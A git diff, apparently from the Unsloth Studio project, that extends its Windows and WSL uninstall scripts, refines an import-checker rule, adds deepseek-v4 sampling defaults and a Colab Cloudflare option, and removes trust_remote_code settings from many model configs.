$desktop = [Environment]::GetFolderPath("Desktop")
|
||||
if (-not [string]::IsNullOrWhiteSpace($desktop)) { $ShortcutDirs += $desktop }
|
||||
} catch {}
|
||||
}
|
||||
$wslShortcuts = @()
|
||||
foreach ($d in $ShortcutDirs) {
|
||||
if ($d -and (Test-Path -LiteralPath $d)) {
|
||||
$wslShortcuts += Get-ChildItem -LiteralPath $d -Filter "Unsloth Studio (WSL*.lnk" -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
if (@($wslShortcuts).Count -eq 0) {
|
||||
_RemovePath $DataDir
|
||||
return
|
||||
}
|
||||
# A WSL shortcut survives: drop everything except its shared icon.
|
||||
_Substep "keeping $(Join-Path $DataDir 'unsloth.ico') for the WSL shortcut" "Gray"
|
||||
Get-ChildItem -LiteralPath $DataDir -Force -ErrorAction SilentlyContinue | ForEach-Object {
|
||||
if ($_.Name -ne "unsloth.ico") { _RemovePath $_.FullName }
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -287,6 +336,9 @@ function Uninstall-UnslothStudio {
|
|||
$defaultUnslothHome = if ($env:USERPROFILE) { Join-Path $env:USERPROFILE ".unsloth" } else { $null }
|
||||
$defaultLlamaCpp = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "llama.cpp" } else { $null }
|
||||
$defaultCache = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome ".cache" } else { $null }
|
||||
# Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in
|
||||
# default mode. No-op in env/custom mode (nested under the custom root) and absent.
|
||||
$defaultNode = if ($defaultUnslothHome) { Join-Path $defaultUnslothHome "node" } else { $null }
|
||||
# llama.cpp atomic-install staging root (install_llama_prebuilt.py .staging,
|
||||
# sibling of the install dir). Usually pruned after activate, but an interrupted
|
||||
# build can leave a "<name>.staging-XXXX" tree; removing it lets the empty-dir
|
||||
|
|
@ -310,7 +362,7 @@ function Uninstall-UnslothStudio {
|
|||
_StopStudioProcesses -KnownRoots $knownRoots
|
||||
# Also stop anything holding a handle on the exact paths we delete (llama-server,
|
||||
# the CLI shim, an mp-fork python with a venv DLL) so the dir delete isn't refused.
|
||||
_StopProcessesLockingRoots -Roots (@($knownRoots) + @($defaultDataDir, $defaultLlamaCpp, $defaultCache))
|
||||
_StopProcessesLockingRoots -Roots (@($knownRoots) + @($defaultDataDir, $defaultLlamaCpp, $defaultCache, $defaultNode))
|
||||
|
||||
# ── Remove custom-root install trees ──
|
||||
_Step "Removing data and install directories..."
|
||||
|
|
@ -328,12 +380,18 @@ function Uninstall-UnslothStudio {
|
|||
# Default install dir (always at %USERPROFILE%\.unsloth\studio when present).
|
||||
if ($defaultStudioHome) { _RemovePath $defaultStudioHome }
|
||||
# Default data dir.
|
||||
if ($defaultDataDir) { _RemovePath $defaultDataDir }
|
||||
if ($defaultDataDir) { _RemoveDataDirKeepingWslIcon $defaultDataDir }
|
||||
# Default-mode shared llama.cpp build + cache (siblings of studio under
|
||||
# ~/.unsloth). No-op in env/custom mode and when absent.
|
||||
if ($defaultLlamaCpp) { _RemovePath $defaultLlamaCpp }
|
||||
if ($defaultCache) { _RemovePath $defaultCache }
|
||||
# Isolated Node.js runtime (sibling of studio under ~/.unsloth). No-op in env/
|
||||
# custom mode (nested under the custom root, removed with it) and when absent.
|
||||
if ($defaultNode) { _RemovePath $defaultNode }
|
||||
if ($defaultStaging) { _RemovePath $defaultStaging }
|
||||
# llama.cpp install lock (serializes the shared build); a stray lock keeps
|
||||
# ~/.unsloth from being pruned below. No-op in env/custom mode and when absent.
|
||||
if ($defaultUnslothHome) { _RemovePath (Join-Path $defaultUnslothHome ".llama.cpp.install.lock") }
|
||||
# Drop ~/.unsloth itself, but ONLY if now empty -- never nuke unrelated content.
|
||||
if ($defaultUnslothHome -and (Test-Path -LiteralPath $defaultUnslothHome) -and
|
||||
-not (Get-ChildItem -LiteralPath $defaultUnslothHome -Force -ErrorAction SilentlyContinue)) {
|
||||
|
|
@ -366,6 +424,11 @@ function Uninstall-UnslothStudio {
|
|||
}
|
||||
} catch { }
|
||||
|
||||
# Re-sweep: the first pass may have left unsloth.ico locked by Explorer/SMEH for
|
||||
# the native shortcut; that handle is now freed. (A surviving WSL shortcut still
|
||||
# keeps the icon -- see the helper.)
|
||||
if ($defaultDataDir -and (Test-Path -LiteralPath $defaultDataDir)) { _RemoveDataDirKeepingWslIcon $defaultDataDir }
|
||||
|
||||
# ── Clean user PATH and registry backup ──
|
||||
_Step "Cleaning user PATH and registry..."
|
||||
try {
|
||||
|
|
|
|||
|
|
@ -219,10 +219,16 @@ _remove_path "$HOME/.unsloth/llama.cpp"
|
|||
# provision_llama_cuda.sh fetched by the WoA/Spark CUDA-build path. No-op when absent.
|
||||
_remove_path "$HOME/.unsloth/provision_llama_cuda.sh"
|
||||
_remove_path "$HOME/.unsloth/.cache"
|
||||
# Isolated Node.js runtime (install_node_prebuilt.py), a sibling of studio in
|
||||
# default mode. No-op in env/custom mode (nested under the custom root) and absent.
|
||||
_remove_path "$HOME/.unsloth/node"
|
||||
# llama.cpp atomic-install staging root (install_llama_prebuilt.py .staging).
|
||||
# Normally pruned after activate, but an interrupted build can leave it behind;
|
||||
# removing it lets the rmdir below succeed. No-op in env/custom mode and absent.
|
||||
_remove_path "$HOME/.unsloth/.staging"
|
||||
# llama.cpp install lock (serializes the shared build); a stray one keeps ~/.unsloth
|
||||
# from being pruned below. No-op in env/custom mode and when absent.
|
||||
_remove_path "$HOME/.unsloth/.llama.cpp.install.lock"
|
||||
# ROCm-on-WSL helper artifacts (librocdxg build clone + smoke-test venv). No-op
|
||||
# where they don't exist; removing them lets the rmdir below succeed.
|
||||
_remove_path "$HOME/.unsloth/librocdxg"
|
||||
|
|
@ -315,11 +321,50 @@ case "$_os" in
|
|||
$up = [Environment]::GetEnvironmentVariable("Path","User");
|
||||
if ($up) { [Environment]::SetEnvironmentVariable("Path", (($up -split ";" | Where-Object { $_ -and ($_.TrimEnd("\","/") -ine $shim) }) -join ";"), "User") }
|
||||
if (Test-Path -LiteralPath $ud) { Remove-Item -LiteralPath $ud -Recurse -Force -ErrorAction SilentlyContinue }
|
||||
}
|
||||
# Keep the shared icon while any Unsloth shortcut still uses it (native
|
||||
# install or another WSL distro); drop it only with the last one.
|
||||
$iconInUse = $false;
|
||||
foreach ($d in $dirs) {
|
||||
if (-not $d -or -not (Test-Path -LiteralPath $d)) { continue }
|
||||
if (Get-ChildItem -LiteralPath $d -Filter "Unsloth Studio*.lnk" -ErrorAction SilentlyContinue) { $iconInUse = $true; break }
|
||||
}
|
||||
# Guard LOCALAPPDATA: empty on a service/SYSTEM account makes
|
||||
# Join-Path throw, aborting the icon cleanup (mirror uninstall.ps1).
|
||||
if (-not [string]::IsNullOrWhiteSpace($env:LOCALAPPDATA)) {
|
||||
$iconDir = Join-Path $env:LOCALAPPDATA "Unsloth Studio";
|
||||
$ico = Join-Path $iconDir "unsloth.ico";
|
||||
if ((-not $iconInUse) -and (Test-Path -LiteralPath $ico)) { Remove-Item -LiteralPath $ico -Force -ErrorAction SilentlyContinue }
|
||||
if ((Test-Path -LiteralPath $iconDir) -and -not (Get-ChildItem -LiteralPath $iconDir -Force -ErrorAction SilentlyContinue)) { Remove-Item -LiteralPath $iconDir -Recurse -Force -ErrorAction SilentlyContinue }
|
||||
}' >/dev/null 2>&1 || true
|
||||
fi
|
||||
# Fallback when powershell.exe can't run (interop disabled): remove the
|
||||
# WSL .lnk files via drvfs. The "Unsloth Studio (WSL..." name is
|
||||
# WSL-specific, so a native install's "Unsloth Studio.lnk" never matches.
|
||||
# Remove $1's shared unsloth.ico only if no Unsloth shortcut (native install
|
||||
# or another WSL distro) still uses it, then drop the dir if empty. Reciprocal
|
||||
# of uninstall.ps1's _RemoveDataDirKeepingWslIcon (keeps the icon for a
|
||||
# surviving WSL shortcut when the native side is removed).
|
||||
_drop_shared_icon_if_unused() {
|
||||
_du="$1"
|
||||
_icodir="$_du/AppData/Local/Unsloth Studio"
|
||||
_icon_in_use=0
|
||||
for _sd in \
|
||||
"$_du/Desktop" \
|
||||
"$_du/OneDrive/Desktop" \
|
||||
"$_du"/OneDrive*/Desktop \
|
||||
"$_du/AppData/Roaming/Microsoft/Windows/Start Menu/Programs"; do
|
||||
[ -d "$_sd" ] || continue
|
||||
for _any in "$_sd"/"Unsloth Studio"*.lnk; do
|
||||
[ -e "$_any" ] && { _icon_in_use=1; break; }
|
||||
done
|
||||
[ "$_icon_in_use" = "1" ] && break
|
||||
done
|
||||
if [ "$_icon_in_use" = "0" ]; then
|
||||
[ -f "$_icodir/unsloth.ico" ] && rm -f "$_icodir/unsloth.ico" 2>/dev/null || true
|
||||
fi
|
||||
[ -d "$_icodir" ] && rmdir "$_icodir" 2>/dev/null || true
|
||||
}
|
||||
# Fallback when powershell.exe can't run (interop disabled): remove WSL .lnk
|
||||
# files via drvfs. The "Unsloth Studio (WSL..." name is WSL-specific, so a
|
||||
# native install's "Unsloth Studio.lnk" never matches.
|
||||
if [ "$_ps_ran" = "0" ]; then
|
||||
for _drive in /mnt/c /mnt/d /mnt/e; do
|
||||
[ -d "$_drive/Users" ] || continue
|
||||
|
|
@ -342,6 +387,8 @@ case "$_os" in
|
|||
done
|
||||
fi
|
||||
done
|
||||
# Drop the shared icon only when no shortcut still needs it.
|
||||
_drop_shared_icon_if_unused "$_udir"
|
||||
done
|
||||
done
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -564,6 +564,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
|
|||
for n, tids in b["module_import_targets"].items():
|
||||
if tids & after_used:
|
||||
continue # resolved -> fine
|
||||
# `from __future__ import ...` is a compiler directive, not a runtime
|
||||
# binding: the name (`annotations`, ...) is never loaded, so it can never
|
||||
# "resolve" to a use. Skip it so a legitimately-added future import
|
||||
# (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged.
|
||||
if all(t.startswith("from:__future__:") for t in tids):
|
||||
continue
|
||||
newly_added = bool(tids - before_module_targets)
|
||||
was_used_before = bool(tids & before_used)
|
||||
if newly_added or was_used_before:
|
||||
|
|
@ -581,9 +587,30 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
|
|||
)
|
||||
|
||||
# 3. TARGET-CHANGED (same scope+name resolves to a different import target)
|
||||
# Only a *swap* is dangerous: a BEFORE target that is no longer reachable in
|
||||
# AFTER means a reference was silently re-pointed. A pure superset growth
|
||||
# (tbefore <= tafter) is the benign `import pkg.subA` + `import pkg.subB`
|
||||
# case: both statements bind the same top-level name `pkg` to the same
|
||||
# package object and only *add* submodule attributes (e.g. adding
|
||||
# `import urllib.error` next to `import urllib.request`). Nothing the name
|
||||
# resolved to before is lost, so no reference is re-pointed -- skip it.
|
||||
#
|
||||
# A deliberate *relocation* is also benign and must not block: when a name
|
||||
# keeps its spelling but its import source is moved A -> B in THIS diff (the
|
||||
# old `from A import x` is removed at module level and a new `from B import x`
|
||||
# is added), the swap is intentional, not a silent re-point to a pre-existing
|
||||
# different object. This mirrors the relocation tolerance already applied to
|
||||
# TARGET-MISSING. The dangerous case -- the name now resolving to a target
|
||||
# that already existed before (shadow/clash) -- is NOT exempted.
|
||||
removed_module_targets = before_module_targets - after_module_targets
|
||||
for key, tafter in b["target_by_use"].items():
|
||||
tbefore = a["target_by_use"].get(key)
|
||||
if tbefore and tbefore != tafter:
|
||||
if tbefore and tbefore != tafter and (tbefore - tafter):
|
||||
lost = tbefore - tafter
|
||||
gained = tafter - tbefore
|
||||
relocated = lost <= removed_module_targets and gained <= added_module_targets
|
||||
if relocated:
|
||||
continue
|
||||
findings.append(
|
||||
(
|
||||
"BLOCKER",
|
||||
|
|
|
|||
|
|
@ -84,7 +84,7 @@
|
|||
"id": "277e431e"
|
||||
},
|
||||
"outputs": [],
|
||||
"source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\nstart()"
|
||||
"source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\n\n# Default: in-tab iframe only. start() blocks to keep the kernel alive.\nstart()\n\n# For a shareable Cloudflare link, replace start() above with:\n# start(cloudflare=True)"
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
|
|
|
|||
|
|
@ -235,6 +235,13 @@
|
|||
"min_p": 0.1,
|
||||
"repetition_penalty": 1.0
|
||||
},
|
||||
"deepseek-v4": {
|
||||
"temperature": 1.0,
|
||||
"top_p": 1.0,
|
||||
"top_k": -1,
|
||||
"min_p": 0.0,
|
||||
"repetition_penalty": 1.0
|
||||
},
|
||||
"deepseek-r1": {
|
||||
"temperature": 0.6,
|
||||
"top_p": 0.95,
|
||||
|
|
@ -394,7 +401,7 @@
|
|||
"phi-4", "phi-3",
|
||||
"mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral",
|
||||
"devstral", "pixtral",
|
||||
"deepseek-r1", "deepseek-v3", "deepseek-ocr",
|
||||
"deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr",
|
||||
"glm-5", "glm-4",
|
||||
"nemotron",
|
||||
"minimax-m2.7", "minimax-m2.5", "minimax",
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Used for models without specific configurations
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -48,7 +47,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0.7
|
||||
top_p: 0.95
|
||||
top_k: -1
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: unsloth/ERNIE-4.5-21B-A3B-PT
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth notebook
|
||||
|
||||
training:
|
||||
trust_remote_code: true
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -49,7 +48,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: true
|
||||
temperature: 1.5
|
||||
min_p: 0.1
|
||||
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: tiiuae/Falcon-H1-0.5B-Instruct, unsloth/Falcon-H1-0.5B-Instruct
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from Ollama
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 4096
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,6 +44,5 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0
|
||||
top_p: 0.9
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 4096
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_k: 64
|
||||
top_p: 0.95
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Based on Gemma2_(9B)-Alpaca.ipynb (same defaults for larger models)
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -41,6 +40,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: unsloth/gemma-2-2b-bnb-4bit, google/gemma-2-2b
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_k: 64
|
||||
top_p: 0.95
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -43,7 +42,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_k: 64
|
||||
top_p: 0.95
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -43,7 +42,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_k: 64
|
||||
top_p: 0.95
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 2
|
||||
num_epochs: 0
|
||||
|
|
@ -43,7 +42,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_k: 64
|
||||
top_p: 0.95
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 1024
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
audio_input: true
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_k: 64
|
||||
top_p: 0.95
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 2
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
audio_input: true
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_k: 64
|
||||
top_p: 0.95
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Also applies to: google/gemma-4-26B-A4B-it, unsloth/gemma-4-26B-A4B-it-GGUF
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
num_epochs: 0
|
||||
learning_rate: 2e-4
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 0.95
|
||||
top_k: 64
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Also applies to: google/gemma-4-26B-A4B
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
num_epochs: 0
|
||||
learning_rate: 2e-4
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 0.95
|
||||
top_k: 64
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Also applies to: google/gemma-4-31B-it, unsloth/gemma-4-31B-it-GGUF
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
num_epochs: 0
|
||||
learning_rate: 2e-4
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 0.95
|
||||
top_k: 64
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Also applies to: google/gemma-4-31B
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
num_epochs: 0
|
||||
learning_rate: 2e-4
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 0.95
|
||||
top_k: 64
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Also applies to: google/gemma-4-E2B-it, unsloth/gemma-4-E2B-it-GGUF
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
num_epochs: 0
|
||||
learning_rate: 2e-4
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 0.95
|
||||
top_k: 64
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Also applies to: google/gemma-4-E2B
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
num_epochs: 0
|
||||
learning_rate: 2e-4
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 0.95
|
||||
top_k: 64
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Also applies to: google/gemma-4-E4B-it, unsloth/gemma-4-E4B-it-GGUF
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
num_epochs: 0
|
||||
learning_rate: 2e-4
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 0.95
|
||||
top_k: 64
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
# Also applies to: google/gemma-4-E4B
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
num_epochs: 0
|
||||
learning_rate: 2e-4
|
||||
|
|
@ -40,7 +39,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 0.95
|
||||
top_k: 64
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 4096
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 1.0
|
||||
top_k: 0
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 1024
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.0
|
||||
top_p: 1.0
|
||||
top_k: 0
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -47,7 +46,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0.0
|
||||
top_p: 1.0
|
||||
top_k: 0
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth guides
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -47,7 +46,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 0.0
|
||||
top_p: 1.0
|
||||
top_k: 0
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth notebook
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -43,7 +42,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.5
|
||||
min_p: 0.1
|
||||
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: unsloth/Llama-3.2-1B-Instruct-unsloth-bnb-4bit, meta-llama/Llama-3.2-1B-Instruct, unsloth/Llama-3.2-1B-Instruct-bnb-4bit, RedHatAI/Llama-3.2-1B-Instruct-FP8, unsloth/Llama-3.2-1B-Instruct-FP8-Block, unsloth/Llama-3.2-1B-Instruct-FP8-Dynamic
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 5
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth notebook
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.5
|
||||
min_p: 0.1
|
||||
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@
|
|||
# added inference parameters from unsloth notebook
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -45,7 +44,6 @@ logging:
|
|||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
temperature: 1.5
|
||||
min_p: 0.1
|
||||
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: unsloth/Meta-Llama-3.1-8B-bnb-4bit, unsloth/Meta-Llama-3.1-8B-unsloth-bnb-4bit, meta-llama/Meta-Llama-3.1-8B, unsloth/Meta-Llama-3.1-8B, unsloth/Meta-Llama-3.1-70B, meta-llama/Meta-Llama-3.1-70B, unsloth/Meta-Llama-3.1-405B-bnb-4bit, meta-llama/Meta-Llama-3.1-405B
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 2048
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
# Also applies to: "unsloth/Meta-Llama-3.1-8B-Instruct-unsloth-bnb-4bit", "meta-llama/Meta-Llama-3.1-8B-Instruct", "unsloth/Meta-Llama-3.1-8B-Instruct","RedHatAI/Llama-3.1-8B-Instruct-FP8","unsloth/Llama-3.1-8B-Instruct-FP8-Block","unsloth/Llama-3.1-8B-Instruct-FP8-Dynamic"
|
||||
|
||||
training:
|
||||
trust_remote_code: false
|
||||
max_seq_length: 8192
|
||||
# num_epochs: 4
|
||||
num_epochs: 0
|
||||
|
|
@ -42,6 +41,3 @@ logging:
|
|||
enable_tensorboard: false
|
||||
tensorboard_dir: "runs"
|
||||
log_frequency: 10
|
||||
|
||||
inference:
|
||||
trust_remote_code: false
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
